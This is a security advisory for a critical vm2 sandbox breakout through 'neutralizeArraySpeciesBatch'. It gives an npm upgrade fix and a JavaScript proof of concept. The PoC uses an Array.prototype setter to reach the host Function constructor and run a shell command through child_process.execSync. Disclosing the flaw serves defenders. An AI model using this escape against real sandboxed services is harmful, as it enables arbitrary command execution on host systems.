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CRITICAL9.8

GHSA-9qj6-qjgg-37qq

vm2 has sandbox breakout via `neutralizeArraySpeciesBatch`

Quick fix

GHSA-9qj6-qjgg-37qq — vm2: upgrade to the fixed version with the command below.

npm install vm2@3.11.2

Details

### Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

### Details

The new method `neutralizeArraySpeciesBatch` works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host `Function` object.

### PoC

```js const {VM} = require("vm2"); const vm = new VM(); console.log(vm.run(` const a = []; Object.defineProperty(Array.prototype, 0, { set(value) { a.f = Buffer.prototype.inspect; value.arr.f.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); } }); new Buffer(a); `)); ```

### Impact

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

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Affected packages

npm/vm2
Introduced in: 0Fixed in: 3.11.2
Fixnpm install vm2@3.11.2

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